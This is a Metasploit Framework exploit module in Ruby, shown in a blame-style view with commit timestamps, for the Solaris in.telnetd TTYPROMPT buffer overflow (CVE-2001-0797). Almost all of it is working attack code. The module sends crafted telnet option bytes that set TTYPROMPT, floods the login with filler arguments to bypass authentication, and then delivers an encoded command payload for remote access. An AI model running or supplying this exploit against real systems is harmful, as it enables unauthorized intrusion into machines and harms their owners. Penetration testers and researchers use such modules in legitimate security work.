2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2005-12-26 14:34:22 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = ExcellentRanking
|
2005-12-26 14:34:22 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2005-12-26 14:34:22 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Solaris in.telnetd TTYPROMPT Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module uses a buffer overflow in the Solaris 'login'
|
|
|
|
application to bypass authentication in the telnet daemon.
|
|
|
|
},
|
2006-01-31 22:41:10 +00:00
|
|
|
'Author' => [ 'MC', 'cazz' ],
|
2006-06-21 18:38:40 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-12-26 14:34:22 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2001-0797'],
|
2009-07-27 14:05:23 +00:00
|
|
|
[ 'OSVDB', '690'],
|
|
|
|
[ 'BID', '5531'],
|
2005-12-26 14:34:22 +00:00
|
|
|
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
2006-01-02 01:12:36 +00:00
|
|
|
'Platform' => ['unix', 'solaris'],
|
2005-12-26 14:34:22 +00:00
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 2000,
|
2006-01-02 01:12:36 +00:00
|
|
|
'BadChars' => '',
|
|
|
|
'DisableNops' => true,
|
2009-07-21 15:20:35 +00:00
|
|
|
'Compat' =>
|
|
|
|
{
|
2009-08-23 12:40:23 +00:00
|
|
|
'PayloadType' => 'cmd',
|
2009-07-21 15:20:35 +00:00
|
|
|
'RequiredCmd' => 'generic perl telnet',
|
|
|
|
}
|
2005-12-26 14:34:22 +00:00
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['Automatic', { }],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jan 18 2002',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(23),
|
|
|
|
OptString.new('USER', [ true, "The username to use", "bin" ]),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
2006-01-31 22:41:10 +00:00
|
|
|
|
2005-12-27 04:40:06 +00:00
|
|
|
banner = sock.get_once
|
|
|
|
|
2006-01-31 22:41:10 +00:00
|
|
|
print_status('Setting TTYPROMPT...')
|
2005-12-26 14:34:22 +00:00
|
|
|
|
|
|
|
req =
|
|
|
|
"\xff\xfc\x18" +
|
|
|
|
"\xff\xfc\x1f" +
|
|
|
|
"\xff\xfc\x21" +
|
|
|
|
"\xff\xfc\x23" +
|
|
|
|
"\xff\xfb\x22" +
|
|
|
|
"\xff\xfc\x24" +
|
|
|
|
"\xff\xfb\x27" +
|
|
|
|
"\xff\xfb\x00" +
|
|
|
|
"\xff\xfa\x27\x00" +
|
2006-01-25 21:23:26 +00:00
|
|
|
"\x00TTYPROMPT" +
|
2005-12-26 14:34:22 +00:00
|
|
|
"\x01" +
|
2007-03-01 08:21:36 +00:00
|
|
|
rand_text_alphanumeric(6) +
|
2005-12-26 14:34:22 +00:00
|
|
|
"\xff\xf0"
|
|
|
|
|
|
|
|
sock.put(req)
|
2005-12-27 04:40:06 +00:00
|
|
|
sleep(0.25)
|
2005-12-26 14:34:22 +00:00
|
|
|
|
2006-01-31 22:41:10 +00:00
|
|
|
print_status('Sending username...')
|
2007-03-06 01:43:48 +00:00
|
|
|
|
|
|
|
filler = rand_text_alpha(rand(10) + 1)
|
|
|
|
|
|
|
|
req << datastore['USER'] + (" #{filler}" * 65)
|
2006-01-31 22:41:10 +00:00
|
|
|
|
2007-03-06 01:43:48 +00:00
|
|
|
sock.put(req + "\n\n\n")
|
2006-01-27 05:00:35 +00:00
|
|
|
|
|
|
|
sleep(0.25)
|
|
|
|
sock.get_once
|
|
|
|
|
|
|
|
sock.put(payload.encoded + "\n")
|
|
|
|
|
2005-12-27 04:40:06 +00:00
|
|
|
sleep(0.25)
|
2005-12-26 14:34:22 +00:00
|
|
|
|
|
|
|
handler
|
|
|
|
end
|
|
|
|
|
2009-07-21 15:20:35 +00:00
|
|
|
end
|